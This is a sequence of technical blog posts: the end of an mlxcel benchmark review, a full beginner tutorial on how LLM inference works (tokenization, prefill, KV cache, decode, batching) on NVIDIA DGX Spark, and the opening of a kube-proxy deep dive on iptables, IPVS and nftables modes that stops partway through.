What you should do is `brew install` it, point it at one of your existing MLX checkpoints, and see how it behaves on your Mac. The install is the lowest-friction first-day experience I have run with a new inference runtime in months. The performance numbers I captured here are reproducible. The OpenAI-compatible server is the part most people will care about, and it works.

Apple Silicon inference has been a Python-centric story for a long time. `mlxcel` is the first credible attempt I have seen at making it a native one. Worth your hour.

## References and reproducibility

All benchmarks above were re-captured in clean systematic sweeps on the same M1 Max: short-prompt 3B and 7B on 2026-05-31, long-prompt 3B on 2026-06-01. An earlier 2026-05-29 session showed substantially higher mlxcel/mlx-lm rates on Llama 3.2 3B (~130 tok/s short, ~128 long) that did not reproduce in either clean sweep; the numbers above reflect the reproducible re-tests. To reproduce yourself:

- **Hardware:** Apple M1 Max, 64 GB unified memory, macOS 26.2 (build 25C56)
- **mlxcel:** 0.1.2, installed via `brew install lablup/tap/mlxcel` (v0.1.3 shipped right after these tests, on 2026-05-30; it is a CLI + security release with no kernel changes, so the numbers above should hold on 0.1.3 as well)
- **mlx-lm:** latest from PyPI at the time of writing, installed via `uv pip install mlx-lm` into a Python 3.12 virtualenv
- **Ollama:** 0.20.7, pre-installed
- **Models:**
  - `mlx-community/Llama-3.2-3B-Instruct-4bit` (mlxcel + mlx-lm)
  - `llama3.2:3b-instruct-q4_K_M` (Ollama, same Llama, GGUF Q4_K_M)
  - `mlx-community/Qwen2.5-7B-Instruct-4bit` (mlxcel + mlx-lm)
  - `qwen2.5:7b` (Ollama default tag, GGUF Q4_K_M)
- **Sampling:** temperature 0.0 where supported, default otherwise.

A note on quantization fairness: MLX 4-bit affine and llama.cpp Q4_K_M are not bit-identical formats. Q4_K_M averages roughly 4.85 bits per weight, MLX 4-bit averages closer to 4.5 bits. This affects quality slightly in Q4_K_M's favor and weight size slightly against it. It does not explain the ~30% decode gap (in the 2026-05-31 sweep), which is dominated by the kernel implementation (MLX Metal vs llama.cpp Metal). The original session showed a wider 2-3x gap on Llama 3.2 3B, but that gap collapsed in the clean re-test.

Project links:

- Repo: https://github.com/lablup/mlxcel
- Architecture overview: https://github.com/lablup/mlxcel/blob/main/docs/architecture.md
- TurboQuant KV cache: https://github.com/lablup/mlxcel/blob/main/docs/turbo-kv-cache.md
- Benchmark methodology: https://github.com/lablup/mlxcel/blob/main/docs/benchmarks.md
- Supported models: https://github.com/lablup/mlxcel/blob/main/docs/supported-models.md

---

# Day 2: Anatomy of an LLM Inference Request. From Prompt to Answer, Step by Step

- Canonical: https://blog.kubesimplify.com/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step
- Published: 2026-05-27
- Summary: A beginner-friendly walkthrough of tokenization, prefill, KV cache, decode, batching, TTFT, and why memory bandwidth shapes local LLM performance on NVIDIA DGX Spark.

*Day 2 of "7 Days of Local LLM". A field guide to running serious LLMs on a $4,699 box on your desk.*

---

On Day 1 you ran your first local LLM on the Spark. You typed something into Ollama and the model wrote back. Today we look at what's actually happening *inside the box* while that little back-and-forth is going on.

Let's make it concrete. Imagine you ask the local model:

> **You:** What's the capital of France?

A few seconds later, the model writes back:

> **Model:** Paris.

That's it. A question goes in, an answer comes out. From the outside it can look like one big magical step: the model "thought about it" and replied. **But that's not what's happening inside the computer.** Inside, the Spark is running a small assembly line of four phases, every single time:

1. **Read your question** - turn your text into numbers the model can work with.
2. **Absorb the prompt** - the model "looks at" your whole question in one go.
3. **Write the answer** - the model generates its reply one piece at a time.
4. **Show you the answer** - turn those pieces back into text on your screen.

That's the whole story at the high level. Four phases, in order. Think of that as the beginner map. In the lifecycle below, we'll split the same flow into six smaller systems steps so the performance pieces are easier to see.

Once you can see those phases as separate things, a lot of weird LLM behavior stops being weird. By the end of this post you'll understand:

- Why **"tokens per second"** is actually two different numbers, not one
- Why a 70-billion-parameter model on a Spark generates only about 7 tokens per second, even though the chip can do trillions of math operations per second
- Why serving 16 users at once can be surprisingly close to serving one, until the GPU saturates
- Why the *same* model on the *same* hardware can feel snappy for one prompt and sluggish for another

You don't need a computer-science background to follow along. Every term gets defined when it first shows up. Let's walk through the four phases.

## The whole lifecycle in one picture

When you send a prompt to an LLM, six things happen in order. Each one is a distinct piece of work.

1. **Tokenization**, your text becomes integers
2. **Prefill**, the model reads the entire prompt at once
3. **KV cache builds up**, the model remembers what it just read
4. **Decode**, the model generates new tokens, one at a time
5. **KV cache grows**, each new token gets added
6. **Detokenization**, integers become text again

Steps 1 and 6 are negligible. Steps 2 and 4 are the whole game. Step 3 is the magic that makes step 4 possible.

Let me walk through each.

{{llm-lifecycle-animation}}

---

![Diagram 1: The full lifecycle of an LLM request](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-1-lifecycle.png)

---

## Step 1: Tokenization (text → integers)

LLMs do not read characters. They read **tokens**. A token is an integer that maps to a piece of text. The mapping is fixed for a given model. It comes from training.

The most common tokenization scheme today is **Byte Pair Encoding (BPE)**. The intuition: take the most frequently co-occurring pairs of characters in your training corpus, merge them into a single token, repeat. After a few thousand iterations, you have a vocabulary of ~30,000 to ~262,000 tokens, depending on the model family, where common words are usually one token, uncommon words are two or three tokens, and rare unicode is per-byte.

Quick examples (from a typical Llama-family tokenizer):

| Text | Tokens | Count |
|---|---|---|
| `"Paris"` | `["Paris"]` | 1 |
| `"capital"` | `["capital"]` | 1 |
| `"capitalism"` | `["capital", "ism"]` | 2 |
| `"What's the capital of France?"` | `["What", "'s", " the", " capital", " of", " France", "?"]` | 7 |
| `"スパーク"` (Japanese "spark") | typically 3-6 byte tokens | 3-6 |

Two things to remember:
- **Tokens are not words.** A 100-word essay is usually 130-150 tokens.
- **Tokenizer is per model family.** Llama, Qwen, Gemma, Nemotron all have their own. Same text gives different token counts in different models.

Tokenization happens on the CPU and is essentially free. We're talking microseconds. It is not a bottleneck.

---

![Diagram 2: How text becomes tokens, with examples](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-1-what-is-a-token.png)

---

## Step 2: Prefill (the model reads your prompt)

After tokenization, your text is a list of integers. Now the model has to actually *read* it before it can answer. This reading step is called **prefill**.

### What does "read" mean for a model?

Reading, for an LLM, means: take each token, run it through every layer of the network, and build up an internal representation of what the prompt is "about." A typical 8B-class model has somewhere around 30 layers; a 70B model has 80. Every layer does the same kind of work: a chunk of matrix multiplication (the model's stored weights times your data), then a chunk of attention math (each token deciding which earlier tokens matter), then a non-linear squish, and on to the next layer.

By the time your prompt has been through every layer, the model has a rich internal state that represents "I've read this. I understand the context. I'm ready to start writing." Only then can it produce the first output token.

### The good news: prefill is embarrassingly parallel

Here's the lucky bit. When the model reads your prompt, **every token can be processed at the same time inside each layer.**

Picture a 1,000-token prompt going through one layer. Instead of:

> *do token 1 → do token 2 → do token 3 → ... → do token 1000* (sequentially, slow)

the GPU does:

> *do all 1,000 tokens together as one giant matrix multiply* (in parallel, fast)

This works because at layer N, each token only needs to "look at" tokens that came before it. Those values are all already known (they're your prompt; nothing is being generated yet). So the GPU can lay all 1,000 tokens side by side and crunch through them in one go.

That's what tensor cores are *built for*: enormous matrix multiplications. Prefill keeps them genuinely busy. This is why the prefill numbers in the Ollama benchmark look so big.

### A concrete walk-through: "What's the capital of France?"

Take our Paris example. After tokenization, you have **7 tokens**: `[What, 's, the, capital, of, France, ?]`. You send those 7 tokens to a model with, say, 32 layers.

What the GPU does, layer by layer:

| Step | What's happening | Cost |
|---|---|---|
| Layer 1 | All 7 tokens go through one big matmul + attention together | one parallel pass |
| Layer 2 | Same again, but with layer 1's output as input | one parallel pass |
| ... | ... | ... |
| Layer 32 | Last pass, model now "understands" the prompt | one parallel pass |

So for 7 tokens × 32 layers, the GPU does **32 sequential layer passes**, and each pass crunches all 7 tokens in one shot. For a tiny prompt like this, the 7-token width is almost free compared to the depth of 32 layer passes. (At long prompts, that stops being true: attention work in particular grows with the *square* of the sequence length, which is why a 50K-token RAG prompt takes meaningful prefill time.)

That's why even a 1,000-token prompt only takes hundreds of milliseconds to prefill on a Spark: the GPU is doing tens of thousands of tokens worth of math in parallel, all at once. Spreading the work across tokens is exactly what tensor cores are good at.

### So what limits prefill speed?

Two factors, in this order:

1. **The model.** Bigger models (more layers, bigger hidden size) mean each layer pass is heavier, and there are more of them. A 70B model prefills slower per-token than an 8B model on the same hardware. That's not a surprise: there's literally more math to do.
2. **The hardware's raw math throughput.** Tensor cores have a peak rate (in FLOPS, floating-point operations per second). The GB10 chip in Spark is rated for **up to 1 PFLOP at FP4 sparse** (NVIDIA's published peak). Whatever your model demands per token, the chip can only push so many FLOPS per second.

This is what "**prefill is compute-bound**" means: the bottleneck is the chip's *math speed*, not its memory speed. (Decode, the next step, is the opposite, and we'll see why in a minute.)

### What that looks like on a real Spark

[Ollama's published Spark benchmark](https://ollama.com/blog/nvidia-spark-performance) gives you concrete numbers:

| Model | Prefill rate |
|---|---|
| Llama 3.1 8B Q4 | **~7,614 tok/s** |
| DeepSeek R1 14B Q4 | ~5,919 tok/s |
| GPT-OSS 20B MXFP4 | ~3,224 tok/s |

Read that table left to right and the story tells itself: **bigger model = slower prefill on the same chip**. Same GPU, same memory, the only thing that changed is how much math each token has to go through.

At those rates a 500-token prompt takes well under a second on the 8B model. By the time you hit enter, the model is already busy reading; by the time you blink, it's about to start writing.

### So can you make prefill faster?

Three knobs, in order of impact:

1. **Send fewer prompt tokens** (no math, no time). RAG with 50K tokens of retrieved context will *always* be slower at TTFT than a 200-token chat turn, on the same model.
2. **Pick a smaller model** if quality permits. A 4B model with a focused fine-tune often prefills 5-10x faster than a 70B and is good enough for the task.
3. **Batch multiple requests together** so the GPU sees more work per pass. This is what serving engines like vLLM do automatically.

That's prefill. **One big parallel chew through your prompt, limited by how fast the chip can do math.** Up next: the cache that makes the writing phase possible.

---

![Diagram 3: Prefill, parallel processing of all prompt tokens](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-3-prefill-parallel.png)

---

## Attention in plain English (the bridge to KV cache)

Before we talk about the **KV cache**, a one-paragraph mental model for what attention does.

For every token in your sequence, the model produces three vectors: a **Query (Q)**, a **Key (K)**, and a **Value (V)**. Think of K as a "what I am" tag, V as the "what I contribute" payload, and Q as the "what I'm looking for" request. To decide how much each earlier token matters for the next prediction, the model compares the current Q against every previous K (a dot product), softmaxes those scores into weights, and uses them to blend the previous Vs. That blended vector goes into the next layer.

The important consequence for performance: once a token has produced its K and V, those vectors don't change. They only get *looked at* by every future token. **Re-computing them on every decode step would be quadratically expensive and totally unnecessary.** So we save them. That saved structure is the KV cache, and it's why decode can produce one token at a time without re-reading the whole conversation from scratch.

---

![Diagram 4: Attention in plain English, Q, K, V vectors](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-2-attention.png)

---

## Step 3: The KV cache (the magic that makes decode possible)

Here's where things get interesting. After prefill, the model has computed something called the **key (K)** and **value (V)** vectors for every token in your prompt, at every layer. These K and V vectors are what the model uses to do attention: "when I generate the next token, what previous tokens should I pay attention to?"

Naive question: when the model generates token 1001, does it have to re-process tokens 1 through 1000 again? Then for token 1002, re-process 1-1001? That would be quadratic and horrible.

The trick: **cache the K and V vectors.** Save them from prefill. For each new generated token, you only have to compute its own K and V, then attend to everything else from the cache.

This cache is the **KV cache**. It grows as you generate. It is roughly:

```
KV cache size = num_layers × 2 (K and V) × num_kv_heads × head_dim × context_length × bytes_per_element
```

**Where does it live? This is where Spark differs from a normal PC.**

- **Regular machine (discrete GPU):** the GPU has its own dedicated memory, called **VRAM**, physically separate from the computer's system RAM. That's 24 GB on an RTX 4090, 32 GB on a 5090, 80 GB on an H100. Both the model weights and the KV cache have to fit in that VRAM. Your system RAM might be much larger, but it sits on the other side of a slow PCIe link, so spilling the cache over there tanks performance.
- **DGX Spark (unified memory):** there is **no separate GPU memory at all.** The Grace CPU and the Blackwell GPU share **one 128 GB LPDDR5x pool**, and both see the same bytes with no copying. Model weights, KV cache, activations, and your OS all live together in that single pool.

So the question changes shape. On a regular machine you ask *"does this fit in VRAM?"* On a Spark you ask *"does weights + KV cache + overhead fit in the one 128 GB pool?"* Same budgeting problem, one pool instead of two. The mental model on Spark: **the KV cache is just one more tenant competing for the same 128 GB as your model weights.** (This is the unified-memory idea from Day 1; Day 3 opens it all the way up.)

**One thing to be very clear about: bigger pool does not mean faster.** A Spark having 128 GB while an H100 has 80 GB does *not* make the Spark a faster chip. The opposite, in fact. The two differ on three separate axes, and Spark only wins one of them:

| | DGX Spark (GB10) | H100 (SXM, 80 GB) |
|---|---|---|
| **Memory capacity** | 128 GB unified | 80 GB |
| **Memory bandwidth** | ~273 GB/s | ~3.35 TB/s (about **12x** Spark) |
| **GPU compute** | 48 SMs, 6,144 CUDA cores, 5th-gen tensor cores | 132 SMs, ~16,896 CUDA cores |
| **Price** | ~$4,699 | ~$25,000-40,000 |

An H100 will decode the *same* model roughly an order of magnitude faster than a Spark, because decode speed tracks **memory bandwidth** (the next section is all about why), and the H100 has about 12x more of it. What the Spark gives you is **capacity per dollar**: it can hold a 70B or 120B model that does not fit in an H100's 80 GB at all, for a tenth of the price. You are not buying speed. You are buying *"this large model runs on my desk at all."*

And to answer the natural question, *"if the memory is shared, how much actual GPU is in a Spark?"* There is a real Blackwell GPU in there: **48 streaming multiprocessors, 6,144 CUDA cores, and 5th-generation tensor cores** (the sm_121 part we keep mentioning). It is a genuine GPU. It simply reads from the shared 128 GB pool instead of from its own private VRAM. The compute is modest next to an H100's, but it is real GPU silicon, not a CPU pretending to be one. Day 3 takes the lid off all of it.

Modern 70B models like Llama 3.3 use **Grouped-Query Attention (GQA)**, which shares K and V across multiple query heads to keep the cache small. Plugging Llama 3.3 70B's actual shape (80 layers, 8 KV heads, head_dim 128, BF16) into the formula: **~1.25 GiB at 4K context, ~10 GiB at 32K, ~40 GiB at 128K**. At a million-token context the cache would be ~300 GB, which no single Spark can hold. **This is why context length is expensive.**

### So what happens when the cache fills the 128 GB?

This is the real constraint on Spark, and you asked exactly the right question. Add up your budget for a single request:

> **weights + KV cache + framework overhead + OS** must fit in ~128 GB.

A Llama 3.3 70B at Q4 is ~40 GB of weights. Give it a 128K context and the KV cache is another ~40 GB. Add ~10 GB of OS and runtime overhead and you are at ~90 GB for *one* long-context request. Push the context further, or add concurrent users (each needs its own KV cache), and you hit the ceiling. When you cross it, the inference engine either refuses the request or, worse, slows to a crawl. **You don't get a separate VRAM cliff like on a discrete GPU; you get one shared pool that you can overcommit.**

Here is how people actually keep the cache under control, roughly in order of how often you'll reach for them:

1. **Quantize the KV cache.** Store K and V in 8-bit (or even 4-bit) instead of 16-bit. That halves or quarters the cache for a small quality cost. In llama.cpp this is `--cache-type-k q8_0 --cache-type-v q8_0`; vLLM and others have equivalents. This is the single biggest lever.
2. **Cap the context window.** If you do not need 128K tokens, do not allocate for it. Most engines let you set a max context (`--ctx-size` in llama.cpp, `--max-model-len` in vLLM). Right-size it to your actual prompts.
3. **Use PagedAttention.** vLLM's KV cache manager treats the cache like virtual-memory pages, so you waste far less to fragmentation and pack more requests into the same pool. You don't tune anything; you just get more usable cache by choosing vLLM.
4. **Share prefixes.** If many requests start with the same long system prompt or RAG bundle, compute that prefix's KV cache once and reuse it (SGLang's RadixAttention, vLLM's prefix caching). Huge win for agent and RAG workloads.
5. **Pick a smaller or sliding-window model.** Some models (for example, Mistral-family) use sliding-window attention that only keeps the last N tokens' KV, so the cache stops growing past a fixed size.

We get into the engine-specific knobs on Day 5. For now the takeaway is: **on Spark the KV cache and the weights live in the same 128 GB, and KV-quantization plus a sensible context cap is what keeps you off the cliff.**

The KV cache is also why batching matters. The model's weights only need to be read from memory once per token, no matter how many concurrent requests are in flight. The KV cache, though, is *per request*. So if you have 16 requests in flight, you read the weights once and they "serve" all 16 KV caches in parallel, but you are also holding 16 KV caches in the pool at the same time. **That's where the throughput multiplier comes from, and also why memory, not compute, is what caps your concurrency on Spark.**

---

![Diagram 5: KV cache, what's stored, how it grows](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-3-kv-cache.png)

---

## Step 4: Decode (the memory-bandwidth-bound phase)

Now the model generates new tokens. One at a time. Each new token requires reading the entire model from memory, doing the matrix multiplications, looking at the KV cache for attention, and producing the next token.

**Let's watch it happen on our example.** After prefill, the model has read "What's the capital of France?" and its KV cache holds those 7 tokens. Now decode runs:

- **Step 1:** read the whole model from memory, look at the KV cache (7 prompt tokens), predict the next token: `Paris`. Append it. Add its K and V to the cache (now 8 tokens).
- **Step 2:** read the whole model again, look at the KV cache (8 tokens now), predict the next token: an *end-of-sequence* marker, the model's way of saying "I'm done."
- Stop.

So "Paris." cost **two output tokens, two full reads of the model.** If the answer had been 200 tokens long, that's 200 reads, strictly one after another, because each token can only be predicted once the previous one exists. **That sequential, one-read-per-token rhythm is the entire reason decode is slow.**

The crucial thing: **for each generated token, roughly the active model weights have to be streamed from memory per output token.** Every layer's weight matrix gets pulled into the tensor cores, multiplied against the activations, and (mostly) discarded. "Active" matters: for a dense model that's the whole model; for a Mixture-of-Experts model it's just the experts the router picks for that token.

The math: 273 GB/s memory bandwidth (Spark) divided by **the bytes actually read per token** equals your theoretical maximum tokens per second. For a dense model, "bytes read" = full model size. For an MoE, "bytes read" = active parameters × bytes/param, NOT the full resident model.

| Model | Resident size | Bytes read per token | Theoretical decode max | Type |
|---|---|---|---|---|
| Llama 3.1 8B Q4 | 4.5 GB | 4.5 GB (dense) | ~61 tok/s | dense |
| GPT-OSS 20B MXFP4 | 13 GB | ~3.6 GB (3.6B active params + shared attention layers) | ~75 tok/s | MoE |
| Llama 3.3 70B NVFP4 | 40 GB | 40 GB (dense) | ~6.8 tok/s | dense |
| Nemotron 3 Super 120B-A12B NVFP4 | 60 GB | ~6 GB (12B active) | ~45 tok/s | MoE |

This is why some "bigger" models decode **faster** than smaller dense ones: an MoE only reads its active parameters per token. Resident-size-based math is wrong for MoEs.

**One important caveat: that last column is a ceiling, not a promise.** It's the best you could ever do if memory bandwidth were the only cost. Real life is slower. On my own Spark, Nemotron 3 Super (Ollama Q4_K_M) measured **19.5 tok/s** decode, well under the ~45 tok/s NVFP4 ceiling in the table. Three reasons for that specific gap: Q4_K_M is a heavier format than NVFP4 (more bytes per token), Nemotron 3 Super is a hybrid Mamba/MoE rather than a clean MoE so the active-parameter math is only an upper bound, and every token also pays for KV cache reads and kernel overhead. The ceiling tells you the *shape* of what to expect; the measured number tells you what you actually get.

Compare to published single-stream numbers from [Ollama's official Spark benchmark](https://ollama.com/blog/nvidia-spark-performance): llama 3.1 8B at **38 tok/s**, gpt-oss 20B at **58 tok/s**, deepseek-r1 14B at **20 tok/s**. Each sits below its theoretical ceiling for the same reasons. **But the order of magnitude is set by memory bandwidth (and active-parameter count for MoEs), not by the GPU's compute power.**

This is why **decode is memory-bandwidth-bound**, not compute-bound. The tensor cores spend most of their time waiting for weights to arrive from memory. Adding more tensor cores would not help. Adding more memory bandwidth would.

If you remember one number from this entire week, it's this: **Spark's 273 GB/s memory bandwidth divided by your model's bytes in memory ≈ your decode tok/s.**

**Decode in plain words:** the model writes the answer one token at a time. Each token is predicted from the KV cache (everything seen so far) plus one full read of the model's weights from memory. The tokens come out in sequence, each waiting for the last, until an end token appears. Because every token costs a trip to memory, **decode speed is set by memory bandwidth, and decode is the part you feel as "typing speed" (tok/s).**

![Diagram 6: Decode, single token at a time, memory-bandwidth-bound](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-5-decode-bandwidth.png)

---

## Why batching changes everything

Here's the leverage. When you have one user generating one token, you read the entire model from memory to produce that token. **One read, one token output.**

When you have 16 users in flight, you read the entire model from memory to produce **one token for each of them** in the same pass. **One read, 16 tokens output.**

{{llm-batching-animation}}

The model read cost is amortized across all requests. Per-request latency stays **roughly similar until you saturate** the GPU. You can watch it drift down by a few percent as concurrency rises in the table below, then drop harder once you cross the saturation point. Aggregate throughput, meanwhile, climbs almost linearly until saturation.

I measured this directly on my DGX Spark. Gemma 4 31B IT in NVFP4, served via vLLM, max_tokens=512:

| Concurrent requests | Aggregate tok/s | Per-request tok/s |
|---|---|---|
| 1 | 6.15 | 6.15 |
| 4 | 24.41 | 6.10 |
| 8 | 47.13 | 5.89 |
| 16 | 92.10 | 5.76 |
| 32 | 166.36 | 5.20 |

Same model, same hardware, same prompt. **Aggregate scales roughly linearly with concurrency while per-request latency stays inside a couple of tok/s.** Same Spark same week, Qwen2.5-3B BF16: 26.14 → 125.72 → 246.79 → 476.95 → 851.84 → 1462.30 tok/s as N goes 1 → 4 → 8 → 16 → 32 → 64.

*[An earlier 2026-05-08 capture of this same setup labeled c=4 numbers as c=8 (and so on, drifting one concurrency level too low). The 2026-05-21 numbers above are canonical for this series.]*

Memory bandwidth amortization is the most important performance lever you have on Spark. **Batch whenever your workload can tolerate it.**

---

![Diagram 7: Batching, same memory read, multiple tokens out](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-4-continuous-batching.png)

---

### A short peek at what serving engines do on top

Continuous batching is one of several tricks production serving engines use to stretch the same memory bandwidth further. Four other tricks are worth knowing by name, even if Day 2 doesn't deep-dive them:

- **Prefill / decode disaggregation.** Prefill is compute-bound and likes big batches; decode is bandwidth-bound and likes small responsive batches. Run them on separate GPU pools and hand off the KV cache between them, so one phase doesn't jitter the other. (Mostly an SGLang and TensorRT-LLM concern; covered briefly on Day 5.)
- **Paged KV cache (PagedAttention).** Instead of a contiguous KV block per request, treat the cache like virtual memory pages. Fragmentation drops, packing improves, larger effective batches fit. vLLM's original contribution; we open it up properly on Day 5.
- **Prefix-aware routing.** Don't round-robin requests blindly. If a new request shares a prefix (system prompt, RAG bundle) with a replica that already has that KV cache hot, route it there. SGLang's RadixAttention is the cleanest implementation; also on Day 5.
- **MoE sharding and routing.** Mixture-of-Experts models keep attention layers replicated and shard experts across devices. A token activates a small subset of experts. Day 6 covers what that means for picking a Spark-friendly model; Day 4 covers the format math.

For a single user on a single Spark, **continuous batching alone gives you most of the win**. The others matter when you're running multi-tenant serving, very long contexts, or MoE models that exceed a single device.

---

## Why "tok/s" is two numbers, not one

When someone says "this model runs at 50 tok/s," ask them which kind. There are two:

- **Prefill tok/s** (time to first token, TTFT, prompt eval rate). How fast the model can ingest your prompt. Compute-bound. High numbers, typically 1,000-10,000+ on Spark.
- **Decode tok/s** (output generation rate, eval rate). How fast the model can produce new tokens. Memory-bandwidth-bound. Lower numbers, typically 5-100 on Spark depending on model size and quantization.

If your workload is "long prompt, short answer" (RAG, summarization), prefill speed dominates user-perceived latency.

If your workload is "short prompt, long answer" (coding, essay generation), decode speed dominates.

If your workload is "long prompt, long answer" (agentic, complex tasks), both matter.

Ollama reports both. So does vLLM. Looking at the actual numbers Ollama published for Spark:

| Model | Prefill | Decode |
|---|---|---|
| llama3.1 8B q4_K_M | 7,614 tok/s | 38 tok/s |
| gpt-oss 20B MXFP4 | 3,224 tok/s | 58 tok/s |
| deepseek-r1 14B q4_K_M | 5,919 tok/s | 20 tok/s |

Notice the prefill numbers are ~200x bigger than the decode numbers. Same hardware, same model, in the same second. That's the difference between compute-bound and memory-bandwidth-bound work.

---

![Diagram 8: The two tok/s numbers explained](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-7-two-toks-numbers.png)

---

## Putting it together: a real request trace

Say you send a 500-token prompt to Llama 3.1 8B Q4 on a Spark, and ask for a 200-token completion.

| Phase | Work | Time |
|---|---|---|
| Tokenize | CPU turns text into 500 integers | ~1 ms |
| Prefill | GPU reads model, computes K/V for all 500 tokens | 500 / 7614 = **66 ms** |
| Decode | GPU generates 200 tokens, one at a time, reading model each time | 200 / 38 = **5.26 s** |
| Detokenize | CPU turns integers back to text | ~1 ms |
| **Total** | | **~5.3 seconds** |

The user perceives "I waited 66ms for the first character, then it streamed in at ~38 tok/s." That's **time-to-first-token (TTFT) = 66 ms** and **output rate = 38 tok/s**.

Now imagine the same prompt at 16 concurrent users with vLLM batching. TTFT is roughly the same (66 ms each). For an actual measured comparison, my DGX Spark serving Qwen2.5-3B BF16 jumps from 26 tok/s single-user to **477 tok/s aggregate at c=16**. For Gemma 4 31B NVFP4 the comparable jump is 6 → 92 tok/s aggregate. **Serving 16 users is much closer to serving one user than your intuition expects** - the exact multiplier depends on the model, but the shape always holds.

That's the local LLM serving game.

---

![Diagram 9: A real request timeline](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-8-request-timeline.png)

---

## What this means for picking hardware

If you've followed this far, you understand the hardware question.

The single most important spec for LLM inference on a workstation isn't tensor core peak FLOPS. It's **memory bandwidth**. A single B200-class Blackwell GPU has up to about 8 TB/s of memory bandwidth, which is a different tier from Spark's 273 GB/s. An RTX 5090 with 1,792 GB/s beats a Spark on bandwidth too, but only for models that fit in its 32 GB.

The Spark's pitch: **you trade some bandwidth for a lot of capacity.** 128 GB at 273 GB/s lets you run 70B-class and 120B-class models that simply won't fit on a 5090. The decode is slower per user. The capacity is unmatched at this price.

We open the Spark itself in the next post. By the time we get to inference-engine selection (Day 5) and the leaderboard (Day 6), you'll have the full picture.

---

![Diagram 10: Memory bandwidth vs capacity, the hardware tradeoff](/img/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step/d2-9-bandwidth-vs-capacity.png)

---

## What's coming on Day 3

In the next post we look at what's actually inside the GB10 Grace Blackwell Superchip. The Grace ARM CPU, the Blackwell GPU, the C2C link between them, the unified memory architecture, the sm_121 instruction set (and why it's NOT the same as datacenter Blackwell's sm_100), the 5th-generation tensor cores that execute NVFP4 natively, and the practical implications of all of it.

You'll come out understanding why a 4-bit format you've never heard of (NVFP4) is the most important thing to know about this chip.

See you in the next post.

---

*References for this post: [Ollama: NVIDIA DGX Spark performance](https://ollama.com/blog/nvidia-spark-performance) for the published prefill and decode numbers, [vLLM documentation](https://docs.vllm.ai) for batching and KV cache concepts. The concurrency sweep tables are from my own measurements on this Spark on 2026-05-21 (Gemma 4 31B IT NVFP4 + Qwen2.5-3B BF16 via vLLM at max_tokens=512). An earlier 2026-05-08 sweep had a concurrency-label drift; the 2026-05-21 values are canonical.*

---

# How kube-proxy Actually Works: iptables, IPVS, and nftables Inside Out

- Canonical: https://blog.kubesimplify.com/kube-proxy-deep-dive
- Published: 2026-05-25
- Summary: How kube-proxy turns Kubernetes Services into kernel rules. iptables, IPVS, nftables packet paths and which to pick in 2026. Verified against k/k 1.36 source.

You create a Service in Kubernetes. It gets a virtual IP. But that IP is not real. No network card owns it. No machine is listening on it. So how do packets headed there actually find the right pod?

The answer is **kube-proxy**. And it does that job in three different ways.

This post walks the full picture: what kube-proxy actually is, the three modes it runs in (iptables, IPVS, nftables), the packet path through each one, where the performance crossover is, and what you should actually pick in 2026. Every claim verified against `kubernetes/kubernetes` 1.36 source.

%[https://youtu.be/m5iq9whaRhc]

## TL;DR

1. **What kube-proxy is.** A daemon on every node. It watches Services and EndpointSlices via informers, diffs the new state against what the kernel currently has, then calls `syncProxyRules()` to push updates. Backend is one of: iptables (default), IPVS, or nftables.
2. **iptables mode.** Three chains: `KUBE-SERVICES` matches by ClusterIP+port → jumps to a per-Service chain `KUBE-SVC-XXXX` → linear walk through declining-probability rules → jumps to a `KUBE-SEP-YYYY` chain which DNATs to a real pod IP. Linear scan, O(n) per first packet of a new connection.
3. **IPVS mode.** Kernel L4 load balancer on a dummy interface `kube-ipvs0`. ClusterIPs are added to that interface. One hash table lookup picks a virtual service. A scheduler algorithm (rr/lc/sh/dh/mh/wlc/wrr/nq/sed) picks a real server. O(1). But still uses iptables for masquerade, source rewriting, and external traffic policy.
4. **nftables mode.** One table named `kube-proxy`. Inside it, a single verdict map dispatches by destIP:port → per-Service chain → DNAT. Stable since Kubernetes 1.33, but **iptables is still the upstream default**. Requires Linux kernel 5.13 or newer.
5. **What to pick.** Small or default cluster: stay on iptables. Large cluster on a modern kernel: move to nftables. Do not pick IPVS for new deployments, it was deprecated in 1.35.

## Part 1: What kube-proxy actually is

kube-proxy is a daemon. It runs on every node, deployed as a DaemonSet in nearly every Kubernetes installer. Its core Service-proxy loop **watches Services and EndpointSlices**: when either changes, kube-proxy reconciles the desired state against the kernel's current rules, then calls `syncProxyRules()` to apply backend-specific updates. Since 1.28, this is incremental, only the Services and EndpointSlices that actually changed get rewritten. (kube-proxy also has other paths it manages on the node, node label tracking, conntrack cleanup, but the Service proxy loop is the one we care about here.)

That is the whole loop. Watch, reconcile, push to the kernel. The interesting part is **how** `syncProxyRules()` writes those rules into the kernel. That is where the three modes come in.

The mode is chosen with the `--proxy-mode` flag:

```bash
kube-proxy --proxy-mode=iptables   # default
kube-proxy --proxy-mode=ipvs       # deprecated in 1.35
kube-proxy --proxy-mode=nftables   # stable since 1.33
```

All three modes do the same job. The packet path through the kernel is completely different.

## Part 2: iptables mode

This is what almost every cluster in production today runs. The pattern is three iptables chains deep.

A packet enters the node, destined for a Service's ClusterIP. It hits the `KUBE-SERVICES` chain. That chain has one rule per Service port:

```
-A KUBE-SERVICES -d 10.96.255.20/32 -p tcp --dport 80 -j KUBE-SVC-FXIYY
```

Match the ClusterIP plus port, jump to a per-Service chain named `KUBE-SVC-XXXX`. Inside that chain, one rule per backend pod, with a declining-probability pattern:

```
-A KUBE-SVC-FXIYY -m statistic --mode random --probability 0.333 -j KUBE-SEP-1
-A KUBE-SVC-FXIYY -m statistic --mode random --probability 0.500 -j KUBE-SEP-2
-A KUBE-SVC-FXIYY -j KUBE-SEP-3
```

The math works out, each pod gets exactly one third of the traffic. The chosen rule jumps to a per-endpoint chain `KUBE-SEP-YYYY`, which has the actual DNAT:

```
